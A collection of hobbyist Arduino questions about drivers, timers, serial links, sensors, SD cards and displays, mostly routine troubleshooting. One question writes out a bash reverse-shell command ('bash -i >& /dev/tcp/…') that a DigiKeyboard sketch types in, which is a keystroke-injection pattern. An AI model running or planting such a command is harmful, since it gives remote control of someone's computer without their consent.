I have an Arduino Uno that I have connected to a servo motor. I used an adapter to plug it into my computer and my computer said "Setting up a device, this will only take a minute". When it was done setting up, I downloaded Arduino IDE and I wrote a code. When I clicked "Upload", I was told that a serial port was not selected. I went to Tools>Port>Arduino Uno. The program then uploaded, I unplugged it and began its process. After I uploaded, I wanted to make a change to my code so I plugged it back in and I heard the Windows beepboopbeep sound. I edited the code and tried to upload again and it said that a serial port was not selected. I went to Device Manager and found it under another tab, something like Amtek USB ports. It was labeled as "Unknown Device". I tried to select it but it told me that it couldn't update driver. I looked it up and people said to unplug and replug in another USB port. I tried that 7 times yet it was still "Unknown Device". Am I doing something wrong?

Edit: I am using a HP AMD Radeon 7 Processor laptop running Windows 10 and my Arduino is not a copy, it is authentic.


texts: Arduino LED Dimmer Proportionate to Ambient Light

texts:
I am trying to get an LED dimming reversely proportionate to natural light level in a room.
So as the sun rises, the LED dims and vice-versa.
I am using the standard LDR+ 10k Ohm resistor divider, an LED, and an Arduino Leonardo Clone.

The issue is, regardless of the values I adjust in map(), it does not change the flickering rate or brightness of the LED.
What range of map shuold I be using?

The LED ought to shut off while the LDR takes a reading.
I have two variations of the code; one uses PWM, the other simulates PWM using delay()

Here are my sketches:

/set pin numbers
//const won't change
const int ledPin = 1;   //D1 the number of the LED pin (OR to MOSFET input wire for controlling high power LED
const int ldrPin = A0;  // A0 the number of the LDR pin
//10K ohm resistor as voltage reference.

void setup() {

  Serial.begin(9600);
  pinMode(ledPin, OUTPUT);  //initialize the LED pin as an output
  pinMode(ldrPin, INPUT);   //initialize the LDR pin as an input
}

void loop() {
  digitalWrite(ledPin, LOW); //Shutoff LED invisibly rapid to get a reading of the ambient light without the LED on
  int ldrStatus = analogRead(ldrPin);   //read the status of the light sensor value
  // KEEP LED OFF TIME BASED ON AMBIENT LIGHT LEVEL...
  int dim2 = map(ldrStatus, 0, 1023, 500, 0); //OFF FOR UP TO 0.50 seconds.
  digitalWrite(ledPin, HIGH);
  delay(dim2);

   }

Sketch two:

//set pin numbers
//const won't change
const int ledPin = 1;   //D1 the number of the LED pin (OR to MOSFET input wire for controlling high power LED
const int ldrPin = A0;  // A0 the number of the LDR pin
//10K OHM resistor as voltage reference.

void setup() {

  Serial.begin(9600);
  pinMode(ledPin, OUTPUT);  //initialize the LED pin as an output
  pinMode(ldrPin, INPUT);   //initialize the LDR pin as an input
}

void loop() {
  digitalWrite(ledPin, LOW); //Shutoff LED invisibly rapid to get a reading of the ambient light without the LED on
  int ldrStatus = analogRead(ldrPin);   //read the status of the light sensor value
  int dim = map(ldrStatus, 0, 1023, 255, 0);     // scale it to use it with the LED (value between 0 and 255)
  digitalWrite(ledPin, dim);               //Flash LED at that rate to adjust brightness.

   }


texts: Pressing reset button restarts program only seconds latter

texts:
I am wondering why after pressing the reset button on my Arduino, the latest program loaded runs but only after about 5seconds. The same thing happen when I run my arduino from the computer using the Arduino 1.6.9 software.

Is there any way to make this delay shorter?

Thanks,
IF


texts: Can anyone help be get readings off of my potentiometer with a push of a button?

texts:
Hi I'm trying to get my Arduino Uno code to work with a in a specific way where if I push a button, the Arduino will read the raw potentiometer value once and if I don't push it nothing happens.
https://imgur.com/M7qGvtC
int switchState = 0
int switchPin = 2
int potPin = A0;

void setup() {
pinMode (potPin, OUTPUT);
pinMode (switchPin, INPUT);
Serial.begin (9600);

}

void loop() {
switchState = digitalRead(2);
if (switchState == High) {
Potval = analogRead(potPin);
Serial.print("potval:");
Serial.Println(Potval);
delay(200);
}

else {
(switchState == LOW);
while (Potval);
}
}


texts:
Please help me w/ my 2.4 mcufriend TFT on my Mega2560.

I've followed any instructions I can find, including:

2.4" TFT LCD Shield isn't working on Arduino Mega

I still get a show white screen. I wonder if my TFT is different or is it broken? Mine looks like this:

I did run the example code from SWtft. I got this output on serial:

TFT LCD test

LCD driver chip: 6TFT LCD test
LCD driver chip: 6767
Benchmark                Time (microseconds)
Screen fill              1786024
Text                     413024
Lines                    2569212
Horiz/Vert Lines         226196
Rectangles (outline)     176972
Rectangles (filled)      4682244
Circles (filled)         2703104
Circles (outline)        1119540
Triangles (outline)      815028
Triangles (filled)       2867288
Rounded rects (outline)  469268
Rounded rects (filled)   5733992
Done!


texts: Some Arduino components seem ridiculously cheap

texts:
My project is an Arduino-based device, packed into a box.

It will need to use Speed, Latitude, Longitude and Altitude data to log hills it detects on to an SD. On the press of a button, it will need to upload the hill data to the server via Wi-Fi.

I need the following items:

GPS Module + Antenna
WiFi Module
SD Module
Altimeter
microSD Card
Inline switch for my battery pack

The cost? Well on the Pi Hut it was £120 or so:

  GPS =
  https://thepihut.com/products/sim808-gps-gprs-gsm-shield-for-arduino =
  £42

  WiFi =
  https://thepihut.com/products/wifi-shield-v3-for-arduino-rpsma-802-11b-g-n
  = £54

  SD = https://thepihut.com/products/microsd-card-module-for-arduino =
  £6

  microSD Card = https://thepihut.com/products/blank-micro-sd-cards
  (4GB) = £5

  Altimeter =
  https://thepihut.com/products/adafruit-bmp280-i2c-or-spi-barometric-pressure-altitude-sensor
  = £10

  Switch =
  https://thepihut.com/products/adafruit-in-line-power-switch-for-2-1mm-barrel-jack
  = £2.50

On Bang Good (a really cheap online shop I discovered) it was more like £30:

  GPS =
  https://www.banggood.com/GPS-UBLOX-NEO-7N-Satellite-Positioning-Module-For-Arduino-51MCU-STM32-p-1203610.html?rmmds=cart_middle_products&cur_warehouse=CN
  = £10.54

  GPS Antenna =
  https://www.banggood.com/GPS-Active-Ceramic-Antenna-IPX-IPEX-Interface-For-GPS-Module-p-1203537.html?rmmds=cart_middle_products&cur_warehouse=CN
  = £2.11

  WiFi = https://www.banggood.com/Upgraded-Version-1M-Flash-ESP8266-ESP-01-WIFI-Transceiver-Wireless-Module-p-979509.html?rmmds=cart_middle_products
  = £2.53

  SD = https://www.banggood.com/Micro-SD-TF-Card-Memory-Shield-Module-SPI-Mciro-SD-Adapter-For-Arduino-p-919914.html?rmmds=cart_middle_products&cur_warehouse=CN
  = £1.02

  microSD Card = https://www.banggood.com/4GB-MicroSD-Card-with-Card-Reader-for-RC-FPV-Camera-Quadcopter-p-1050069.html?rmmds=cart_middle_products&cur_warehouse=CN
  = £3.96

  Altimeter = https://www.banggood.com/MPL3115A2-IIC-I2C-Intelligent-Temperature-Pressure-Altitude-Sensor-V2_0-For-Arduino-p-1198222.html?rmmds=cart_middle_products
  = £5.16

  Switch = https://thepihut.com/products/adafruit-in-line-power-switch-for-2-1mm-barrel-jack

  = £2.50 (From Pi Hut, though)

I'm suspicious. I might be inexperienced, and this may be a bad question, but is the cheaper option lower in quality? Is the expensive one over the top? The cheap version really seems to good to be true.


texts: NodeJS (Galileo-IO) + Arduino sensor library

texts:
I've done some basic apps with NodeJS firmata where I can connect to my Arduino Uno and do the basics like reading a pin or doing a servo write. I'd like to go further and play with some different sensors from vendors like Adafruit.

Many such sensors appear to come with their own Arduino libraries. Using NodeJS firmata to communicate with my Uno, could I somehow use the sensor libraries? Maybe by including their header files in the Standard Firmata sketch before uploading or...? But then I don't know how I'd get at their methods from my NodeJS app.

Even better, I'd love a little direction on how to go about using an Arduino sensor library in a sketch, and use Galileo-IO to interact with the sensor that way, if possible.


texts: NaN for reading from AM2302 from Arduino Uno

texts:
I want to read sensor values from 4x AM2302 to an Arduino UNO, and then pass those values for data logging to Raspberry Pi via Serial communication over USB cable.  The sensors are installed at 4x locations in an indoor plant growing system at difficult to access locations.  In the same script is a program that runs HVAC fans and a water pump using timers and relays.  The problem I encounter is that after working for several readings, eventually the AM2302 fails to read and continuously sends NaN value.  If I intervene and power down/repower up, and also reupload the script, then the AM2302 begin reading again, but only for a few readings then fail again.

In the sample read-out table below, the 4x AM2302 sensor read-outs are sensor 1 : (HA01 - humidity, TA01 - temp) sensor 2 : (HA02, TA02) etc..
There is another read-out CT01 which is a DS18B20, which also fails after some-time and reports a value "no more address" which is reported as -127C by the Dallas Library.

I setup a breadboard and ran the same script with 2x AM2302 and no DS18B20 attached and was unable to replicate the problem.

I have chosen to use json string as a way to pass the readings from Arduino to Raspberry Pi, and notice that sometimes the string gets corrupted - in particular the date timestamp.

I would appreciate any help / tips on diagnostics ideas to pinpoint the issue.

Code for Arduino and Raspberry Pi is available on GitHub.
https://github.com/footprintzero/plantlab

Updated info 2019/05/21 18:42
  I re-ran the program with a modified script and so far the sensors are continuously sending a reading (AM2302).This modified script version has the HVAC control timers with the relays commented out in HVAC.ino at line 97. So its only reading the sensors and not controlling the relays.

// timer_mainloop();


texts: Why do DigiKeyboard.print and println change my string?

texts:
GOAL: I'm trying to use DigiKeyboard library but I'm facing a problem when I use print or println with character different from alphanumeric ones.

PROBLEM : I import the library as I've seen on others projects:

#include "DigiKeyboard.h"

Then I try to output this string "bash -i >& /dev/tcp/127.0.0.1/80 0>&1" using print method:

DigiKeyboard.print("bash -i >& /dev/tcp/127.0.0.1/80 0>&1");

But the output is messed up:

bash 'i :/ -dev-tcp-127.0.0.1-80 0:/1

Could you explain how can I solve?

SOLUTION: changing my keyboard layout to English(US) solved my problem.

Anyway I have still a doubt. How can I make the library work also with others layouts?


texts: Pro Micro board not responding to anything

texts:
I just got a couple of Arduino Pro Micros for a custom keyboard build. Before testing them with the Arduino IDE, I tried to test them with qmk by shorting RST to GND to try and flash it. After a few seconds of holding RST, I got a single blink and nothing else, and qmk didn't seem to have detected the reset.
I've tried setting "Board" to "Arduino Micro" and "Arduino Pro or Pro Mini". I'm on Arch Linux and no matter which USB port is plugged in, the IDE only shows /dev/ttyS0). I tried uploading the "Blink" example, as well as "Burn Bootloader", but only got programmer is not responding like so:
avrdude: Version 6.3-20190619
         Copyright (c) 2000-2005 Brian Dean, http://www.bdmicro.com/
         Copyright (c) 2007-2014 Joerg Wunsch

         Using Port                    : /dev/ttyS0
         Using Programmer              : arduino
         Overriding Baud Rate          : 19200
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 1 of 10: not in sync: resp=0x00
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 2 of 10: not in sync: resp=0x00
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 3 of 10: not in sync: resp=0x00
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 4 of 10: not in sync: resp=0x00
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 5 of 10: not in sync: resp=0x00
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 6 of 10: not in sync: resp=0x00
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 7 of 10: not in sync: resp=0x00
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 8 of 10: not in sync: resp=0x00
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 9 of 10: not in sync: resp=0x00
avrdude: stk500_recv(): programmer is not responding
avrdude: stk500_getsync() attempt 10 of 10: not in sync: resp=0x00

avrdude done.  Thank you.


texts: Setting the frequency of a timer interrupt

texts:
The concept:
Play a sine wave saved as a character array in PROGMEM through an 8-bit DAC connected to the PORTC pins on the Arduino Mega.
This works:
// File just defines an array and a size

#include "sine440.h"

int i = 0;
void setup() {
  DDRC = B11111111;
}

void loop() {
  PORTC = pgm_read_byte(&sine[i++]);
  if(i >= sine_size){
    i = i - sine_size;
  }

  delayMicroseconds(60);
}

The above code produces a sine wave of about 440 Hz, exactly what I wanted. Now, I'd like to move this into an interrupt routine, as follows:
This doesn't work
#include "sine440.h"

int i = 0;
void setup() {
  DDRC = B11111111;
  TCCR5B = (1 << WGM52) | (1 << CS50 );
  OCR5A =  16000000/16000;
  TIMSK5 = (1 << OCIE5A);
}

ISR(TIMER5_COMPA_vect){
  PORTC = pgm_read_byte(&sine[i++]);
  if(i >= sine_size){
    i = i - sine_size;
  }
}

void loop() {

}

The above code produces a sine wave of 1721 Hz. I know that this means it's iterating through the array too fast, but I don't know how to change it. In order for it to produce 440 Hz, it needs to be preforming 16,000 iterations per second, which is what I believe  OCR5A =  16000000/16000; does. But it doesn't appear that changing the value of OCR5A does anything at all. Giving it the max value of 65,535 still produces a 1721 Hz sine wave...
So what am I doing wrong here? How do I change the speed of this timer interrupt?


texts: 2.8 Touchscreen does not work with Proto Screw Shield

texts:
I am using the Arduino Mega and the 2.8 touch screen by Adafruit, and I can't get the screen to work on my Proto R3 Screw Shield

Here are the tools I am using:

2.8 inch touch screen
Proto R3 Screw Shield

When I put the touch screen onto the Arduino Mega, no wiring needed, and run the graphic test provided by the Adafruit_ILI9341, everything works perfectly. The touch screen runs the animation, and my serial monitor outputs the information of my touch screen.

However, when I put the touch screen on the screw shield, which I place on the Arduino Mega, the touch screen stays white, no matter if I press either reset button, unplug and replug the Arduino, restart the IDE, take off and put everything back on.

I explicitly followed the instructions by Adafruit here that say how to get the screw shield working.

There is no contact between each soldered pin, and I cut and soldered the ICSP and MEGA jumpers on the bottom of the touch screen accordingly, as shown in the picture on the bottom right:

I tried using an SD card as a test to see if the proto R3 screw shield was not working at all, and reading an image off of the SD card. I got proper, working results, so everything worked fine with the screw shield then. This means that the screw shield still works with it's 5V pin.

What could be the cause of the touchscreen staying white? Thanks in advance!


texts: Is it possible to read a microSD card (on a breakout) through the USB port on the arduino? or perhaps another USB port I could attach to the breakout?  Basically, I would like to read data off the card with my laptop without having to go and remove it each time!


texts: How to get the free/used space on a SD card and transmit it

texts:
I'm using this block of code to read and sum up the bytes of all the text files I have on an SD card:

long get_sd_memory_taken() {
  File dir = SD.open("/");
  long sd_memory_taken;
  int c = 0;
  while (true) {
    File entry = dir.openNextFile();
    if (!entry) {
      return sd_memory_taken;
      break;
    }
    if(strcmp(entry.name(), "SYSTEM~1") == 0) {
      continue;
    }
    if(c > 15) {
      tft.println(entry.name());
      tft.println(entry.size());
    }
    sd_memory_taken += entry.size();
    entry.close();
    c++;
  }
}

The SD card is 8GB so the number won't be larger than 8,589,934,592. The function get_sd_memory_taken() returns the number so it can be send to a phone using Bluetooth. I just checked that long can hold max 2,147,483,647, so if the SD card is filled more than that, I suppose errors are gonna appear. How can I prevent this? I was thinking of maybe using a double and put the comma maybe 5 digits to the left and send that or maybe divide the number into 10 smaller longs and send them to the phone separately. I think the former method is better but I'm not sure if it'll work. What's the best way to go about this problem where I'm trying to use as less memory as possible?


texts:
An Arduino pro mini vcc measured and it was 3.3v.so it should be a 328p 8MH 3.3v arduino pro mini.
but it only works properly if i choose processor as Atmega328p 16MH 5V in arduino IDE while programming.is it normal?

in fact if choose Atmega328p 8MH 3.3V,board programming  will done, but in serial monitor i'll have only ؟؟؟؟ mark.


texts: Shift register on Attiny85 programmed by Arduino

texts:
Shift registers need 3 digital pins in order to work (data, clock and latch), but Attiny45/85 chips provides 2 digital and 2 analog pins.

Would I use 1 analog pin as digital pin? How?


texts: Multichannel communication with Arduino and HC-12 transmitter

texts: The HC-12 module has 100 possible channels starting at 433 MHz. Can someone tell me how to program the Arduino to use multiple channels at the same time? My goal is to build an RC transmitter with Arduino and an HC-12 module for a quadcopter. Therefore I need 6 channels, like a normal transmitter does. Thanks in advance!


texts: With a push button on an Arduino (or Raspberry Pi), instead of wiring a high voltage (5v) through a button and to a pin to read the input, you often want your input pin set to HIGH (high impedance) and wired through a switch to ground to avoid interference like EM waves. My question is what exactly does setting the input pin to HIGH do (besides making it high impedance)? Does it make the circuit less sensitive to EM interference? I like to understand more of the physics behind circuit design.


texts: How to drive Arduino UNO as a counter triggered by 555 timer's output (astable mode)

texts:
I have an Arduino Uno and a 555 timer configured to astable mode.

What I'm trying to do is to program my Arduino to increase a "counter" variable (counter++) everytime it gets triggered by 555 timer's output (through analogIN pin).

My problem is that Arduino takes 555 timer's output as a continuous triggering and increases my counter as long as the pulse in the analogIN lasts.
So instead of incrementing by 1, it is increased by approximately 97 (sometimes more or less).

I need to take the analog in as a "packet" so everytime analogIN is triggered, no matter how long the pulse lasts, it will be treated as a single event and not as continuous triggering.

What do I have to change?

My code:

int counter = 0;

void setup() {
  Serial.begin(9600);

}

void loop() {
  if(analogRead(A0) > 250) {
    counter++;
    Serial.println(counter);
  }

}

Thanks


texts: Can I use Visual Studio instead of Arduino IDE?

texts:
I think that Visual Studio is a great product! I find the Arduino IDE is limited in its features. For example the Arduino IDE does not have:

Code prediction
Error highlighting
Previews of #define values
Peek at code definition
Jump to code definition
and many more...

Since the Arduino ino & pde file types are basically C++, Can I use the Visual Studio IDE instead of Arduino IDE?

To be considered as a replacement, Visual Studio must be able to:

Save & open ino & pde files.
Compile my code.
Download my code.
Use existing/custom libraries from the Arduino IDE.
Detect and display an Arduino project.

I would consider these features as a bonus:

Arduino board selection.
Debugging

Variable watch window
Breakpoints
Step through code

Simulation
Open the Arduino Examples
Automatic board detection
Serial Monitor


texts: RS-485 Serial communication problem with arduino

texts:
I use 485 modules to transmit data serially from one arduino uno to another uno.
If I connect the 2 arduino boards directly without using the rs485 module, the data is sent and received without a problem. But when using the rs485 module, the transmission stops.
Tx code:
void setup() {
    Serial.begin(9600);
}

void loop() {
    Serial.write(200);
    Serial.flush();
    delay(50);
}

Rx code:
#include <LiquidCrystal.h>

// initialize the library with the numbers of the interface pins
LiquidCrystal lcd(12, 11, 5, 4, 3, 2);

void setup() {
    Serial.begin(9600);
}

void loop() {
    if (Serial.available()) {        // If data has come in from Master
        int reply= Serial.read();    // Read the byte
        delay(10);

        lcd.print(reply);
    }
}

I can't see what is the problem. I checked every thing wiring and the code is so simple. I'm just sending one number 200 and want to display it on the rx.
Please help. If anyone has an idea about this problem thanks any way.


texts: Can an Arduino access a network database?

texts:
This is a similar question to a previous question I have asked. Primarily I am looking to find out more about the capability of the Arduino.
Here is the scenario. There is a PC that is connected to a database via local network or internet. Is it possible that by plugging an Arduino in the usb port of this PC the Arduino could read from this database by means of an SQL query? Given that the Arduino would have the correct credentials. I am not asking if the Arduino could Hack into the database. I am asking if it is capable of accessing the database at all. Also this must be done without installing any special program on the PC. If that isn't possible, what type of program is needed? I am not necessarily looking for a tutorial, but if you could point me in the right direction that's be great.
Thank you.


texts: Why does timer1 not generate correct period on CTC mode with a resolution of 5us?

texts:
I have defined my code to generate an interrupt over each 5μs on CTC mode using timer1 but the output shows a time of ~15μs.

Following the equation to set the counting number to achieve the desired time

(# timer counts + 1) = (target time) / (timer resolution)

I've got OCR1A = 79 for a desired time of 5μs using no prescaler and a source clock of 16MHz on Arduino Uno.

My code is as follows:

// avr-libc library includes
#include <avr/io.h>
#include <avr/interrupt.h>

#define LEDPIN 9

void setup()
{
    pinMode(LEDPIN, OUTPUT);
    digitalWrite(LEDPIN, HIGH);

    // initialize Timer1

    cli();          // disable global interrupts

    TCCR1A = 0;     // set entire TCCR1A register to 0
    TCCR1B = 0;     // same for TCCR1B

    // set compare match register to desired timer count:
    OCR1A = 79;

    // turn on CTC mode:
    TCCR1B |= (1 << WGM12);

    // Set CS10 bit for no prescaler:
    TCCR1B |= _BV(CS10);

    // enable timer compare interrupt:
    TIMSK1 |= (1 << OCIE1A);

    sei();          // enable global interrupts

}

void loop () {}

ISR(TIMER1_COMPA_vect)
{
  digitalWrite(LEDPIN, !digitalRead(LEDPIN));
}

This is the output from my logic analyzer:

Is it a limitation of the Arduino or am I missing something?

My idea is to generate a PWM manually to control a servo motor using timer1 and precisely increase the period by 10μs during "on" time and get the desired angle.

After some experiments, I have discovered that my motor (MG996R) has a range from 0.6ms to 2.1ms during "on" time to move from 0 to 180 degrees.

I have tried the Arduino's Servo library but it goes far than 180 degrees (I don't know why). That's why I am building my own code for that purpose.


texts: ESP8266, sporadically no write access to the file system

texts:
I have an ESP8266 project which reads my gas consumption. The hardware and the project run satisfactorily. Sporadically, the ESP8266 can no longer write to its file system and therefore cannot save any data. As soon as I upload the complete data and the sketch to the device again, it works for a few months. After that, the mistake occurred again and again. What could that be?

The ESP8266 then has an "Exception" error. Unfortunately, I have not yet been able to find the reason for the error, why it always happens.

Does anyone have a tip on how I can isolate the problem?

https://github.com/HomeAutoUser/ESP-Gaszaehler-GZ16/tree/pre-release_v1.91


texts:
I have a very simple code for a controller I'm working on for a robot.

void setup() {
  // put your setup code here, to run once:
  pinMode(3,INPUT);
  Serial.begin(9600);
}

void loop() {
  // put your main code here, to run repeatedly:
  Serial.println(digitalRead(3));
}

The only problem is that I can't get a constant reading on switches because when I flick the switch I will get a constant stream of 1s, but when I flick the switch off I get a sporadic stream of ones and zeros. I have noticed though that if I put my finger on the USB port leading from my Arduino Nano I get a constant stream of 1s when on and zeros when off.

Does anyone have a recommendation to get around this problem or simulate touch on the USB port?


texts: Arduino Serial library (Synchronous or Asynchronous?)

texts:
On an Arduino 101, I have this code running:

void setup()
{
 pinMode(2, INPUT);
 Serial.begin(9600);
}

int counter = 0;

void loop()
{
 Serial.print(millis()/1000);
 Serial.print("\t");
 Serial.print(counter);
 Serial.print("\t");
 Serial.println(digitalRead(2));
 counter++;
}

A wire can be used to jump Pin2 between 3.3V and GND.

When running with the Serial Monitor on, I see the values increment at a rate where counter increases by the hundreds very quickly and steadily ticks through the thousands over time.

If I close Serial Monitor momentarily and re-open it, I notice that this counter value has increased dramatically (by the tens-of-thousands).  Another sign of this is when starting the program and waiting a moment to start the Serial Monitor.  As the Arduino 101 does not restart when the Serial Monitor is opened, I see a large initial value in the tens of thousands despite having just started the program.

My question is this: is the Serial library operating synchronously or asynchronously? I was led to believe that it was asynchronous; however, if that was the case, why should the Arduino execute any slower when the serial monitor is on?

While I understand that increasing baud rate will increase the speed at which counter increases, I still see the same dramatic increase in this code when the monitor is closed and then re-opened.

Another possibility I thought of was that maybe counter was being stored in a buffer and what I was seeing was not an up-to-date time or count.  To check this, the program prints the digitalRead value of pin2 as I swap the jumper between 3.3v and GND. This change in value was reflected instantaneously on the Serial Monitor, and I believe this means I am not seeing past data slowly being printed out to the monitor.

One last attempt at understanding what was going on was executing this code:

void setup()
{
 pinMode(2, INPUT);
 Serial.begin(9600);
}

int counter = 0;

void loop()
{
counter++;
if (counter%1000==0)
 {
  Serial.println(counter);
 }

In this example, counter can be seen ticking through quite fast, by the hundreds of thousands, which indicates that the program is capable of running very quickly until a print statement is made. The effect is notably less when baud rate is increased to something like 115200 but is that saying that baud rate is literally slowing the processing speed of the controller?

Any kind of explanation as to what exactly is going on would be very appreciated.

Thank You for your Time.

Source of Arduino being supposedly Asynchronous:
https://itp.nyu.edu/physcomp/lessons/serial-communication/serial-communication-the-basics/


texts: Python script not reading from serial unless teensy is rebooted

texts:
I want to send some analog sensor data from a Teensy 3.2 to a mac running a python script (I am using the usual pyserial module and I send data using Serial.print() in the arduino sketch). I am using Teensy but I guess the same would be true for an Arduino Uno.
The teensy is correctly sending on the serial port the data, as I can see it using the serial monitor. However, only the first time that I run the python script the data are handled by the script itself, if I stop the script then no data seem to be read in the serial buffer. To make the script work I necessarily have to re-launch the Arduino IDE and then upload the sketch.

Indeed the second time I run the script (after having stopped it), I can see that the pyserial function serial_port.inWaiting() does not give any data.

if (serial_port.inWaiting() > 0):
   print("serial_port.inWaiting() > 0") # does not print anything the second time I launch the script

I have checked that the second time that I launch the script the serial connection is open (using self.serial_port.isOpen())

What is preventing the python script to get the serial data the second time? Why serial_port.inWaiting() is not seeing that there is data in the input buffer?

In the arduino sketch code I have added the line while(!Serial); in void setup()

EDIT: I post the code. This is the arduino code (I am testing on teensy so no initial handshaking is required as teensy will not reboot)

int sensor = 0;

void setup() {
  Serial.begin(115200);
  while(!Serial);
}

void loop() {

  sensor = analogRead(0);
  Serial.print(sensor);
}

And this is the python code:

#!/usr/bin/env python3

import serial
import time
import signal
import sys

def keyboard_interrupt(signal, frame):
    serial_port.close()
    time.sleep(2)
    exit(0)

serial_port = serial.Serial("/dev/tty.usbmodem1225061", 115200)

signal.signal(signal.SIGINT, keyboard_interrupt)
signal.signal(signal.SIGTERM, keyboard_interrupt)

if serial_port.isOpen():
    print(serial_port.name + ' is open...')

while True:
    if (serial_port.inWaiting() > 0):
        sensor = serial_port.read().decode("utf-8")
        print('sensor: "{}" '.format(sensor))


texts:
I recently purchased a batch of Due boards and find that they are cosmetically different. After attaching the Atmel-ICE and reading the firmware from both processors, I find that the firmware is different. The green masked one had a sticker indicating a new IDE should be downloaded from arduino.

The back of the board shows silkscreen changes to the logo (DUE in an oval rather than rectangle) but both boards say BOARD MODEL DUE R3-E. The traces appear the same, the placement of parts appears the same, and other than different colored headers the parts are similar. The main processor has the same part number, but distinctly different markings. Internally the processors report the same device signature and revision.

What has changed in the firmware? Are there other changes I've missed? Other than needing an even newer IDE are there changes that will affect my sketches?

If I load the older firmware onto the newer Due processors, should it operate the same, allowing use of the old IDE, and in case my sketches do face a problem with the new version?


texts: Physical safety: Prevent linear actuator from crushing my fingers

texts:
Our project consists of an old wooden barrel, whose top lid is opened/closed with a simple linear actuator. I am a bit afraid that it might crush somebody's fingers while closing.

How could I detect trapped objects effectively?

Elevators often have light barriers, but the problem here is that the opening has a 360° border.
Force sensitive resistors seem to be an option too. However, since the border is a circle, I guess applying them would not work too well (folding issues) and look bad on a vintage barrel.

I'm very sorry if I maybe created a duplicate here and I would like to encourage me to provide links to similar questions. I simply couldn't come up with useful search words for my problem.


texts:
I want to have a line like this

Serial.println(count*"B");

So if count=6, it would print BBBBBB, etc.

Is there anything like this for arduino?


texts: Pulse Sensor Working Bottom-Side-Up Better?

texts:
i recently bought me an pulse-heartbeat sensor.
Connected him to my brand new M1 mini as well.

I wrote a piece of Code which just outputs the Raw ADC Value from A0 (where the pulse sensor is connected).

Now I'm confused.. When i open Serial Plotter, i get this:

Which is confusing because i don't get useable Values when putting the sensor up side down, which is the promoted way to do this (i guess!!)

When i press the other side against my wrist, i get this:

Which i can work with..

But it still doesnt look like some of those perfect diagrams on the internet.

Any can help me understand why i get this type of behaviour?

thanks, nice friday , luca


texts: LEDs: difference between common anode and common cathode?

texts:
What is the difference in using a common anode and common cathode of the 7 Segment in interfacing with the Arduino? How can you change the code if we need to add another 7 Segment display?

How can you change the code to have a counter in backwards (from 0 to 9)?

const int ANODE = 2;

const int LED1 = 3;
const int LED2 = 4;   // pin for led 2
const int LED3 = 5;   // pin for led 3
const int LED4 = 6;   // pin for led 4

// now bottom row

const int LED5 = 7;
const int LED6 = 8;
const int LED7 = 9;
const int LED8 = 10;

int DELAY = 0;

void setup() {
  pinMode(ANODE, OUTPUT);  // common anode is obviously an output

  pinMode(LED1, OUTPUT);   // led are output for low will be on
  pinMode(LED2, OUTPUT);   // led 2 is output
  pinMode(LED3, OUTPUT);   // led 3 is output
  pinMode(LED4, OUTPUT);   // led 4 is output
  pinMode(LED5, OUTPUT);   // led 5 is output
  pinMode(LED6, OUTPUT);   // led 6 is output
  pinMode(LED7, OUTPUT);   // led 7 is output
  pinMode(LED8, OUTPUT);   // led 8 is output
}

void loop(){

  if (DELAY == 300){
    delay(100000);
  }

  digitalWrite(ANODE, HIGH);

  digitalWrite(LED1, HIGH);
  digitalWrite(LED2, HIGH);
  digitalWrite(LED3, HIGH);
  digitalWrite(LED4, HIGH);
  digitalWrite(LED5, HIGH);
  digitalWrite(LED6, HIGH);
  digitalWrite(LED7, HIGH);
  digitalWrite(LED8, HIGH);

delay(1000);

  digitalWrite(LED1, LOW);
  delay(500);
  digitalWrite(LED1, HIGH);
  digitalWrite(LED2, LOW);
  delay(500);
  digitalWrite(LED2, HIGH);
  digitalWrite(LED3, LOW);
  delay(500);
  digitalWrite(LED3, HIGH);
  digitalWrite(LED4, LOW);
  delay(500);
  digitalWrite(LED4, HIGH);
  digitalWrite(LED5, LOW);
  delay(500);
  digitalWrite(LED5, HIGH);
  digitalWrite(LED6, LOW);
  delay(500);
  digitalWrite(LED6, HIGH);
  digitalWrite(LED7, LOW);
  delay(500);
  digitalWrite(LED7, HIGH);
  digitalWrite(LED8, LOW);
  delay(500);
  digitalWrite(LED8, HIGH);

  delay(100);

  DELAY = DELAY + 150;
}


texts: Are these components connected correctly?

texts:
I intend to use two ultrasonic sensors as input and a vibration motor as its output, is this connected correctly?

As part of my project, I intend to use an ultrasonic sensor to feed in distance data and react through vibration motor. I have to confirm this arrangement will work but I don't own an Arduino.


texts: Flashing ATmega8U2 using another Arduino

texts:
I have an Anduino Uno R1 and the ATmega8U2 on. It does not respond correctly. How can I use another Arduino Uno R3 in order to reinstall the correct firmware? What I want to avoid it to solder the resistor because I am not very good with the soldering iron.

As fas as I understand there are some pins close to the AREF pin that can be used in order to attach a programmer. Also how can I temporally attach them without the need of a soldering iron? On the R1 the pins are just some exposed metal. How can I connect to them?

Also, if I load into the other Arduino the programmer, then how can I load the firmware using GNU/Linux into the ATmega8U2?


texts: Can I make so when I press a button on my Arduino Uno board, it will press a key on my computer?

texts:
I looked up the question before, but they only gave answers for boards that are not the Uno. Is there any way to make it so when I press a button on my board, it registers as a key press on my computer? I'm trying to make a flight controller for PC sims.

Thanks!


texts: I can send on software serial, but not read?

texts:
I've been cracking my head over this for a long while.

Like many before me, I'm trying to send and receive data from a HM-10 bluetooth module, arduino mega adk and the app called BLE Scanner. I've figured out receiving alright. Whatever I write into the serial monitor, shows up on the app. Whatever I write into the software serial, shows up. However, I haven't figured out how to read from the software serial. The available function never gets triggered, and always printing out the software serial read is always -1

The app supports sending data over bluetooth as well. However, using:

    #include <SoftwareSerial.h>
SoftwareSerial blueSerial(14, 15); //RX, TX
  blueSerial.begin(9600);
  Serial.begin(9600);
while (1)
  {
    blueSerial.listen();
    if (Serial.available()) {
      Serial.println("Writing");
      blueSerial.write(Serial.read());
      Serial.println(Serial.read());
      Serial.println(blueSerial.available());
    }
    if (blueSerial.available()) {
      Serial.println("Blueserial writing");
      Serial.write(blueSerial.read());
    }
}

The listen function is used out of pure desperation.

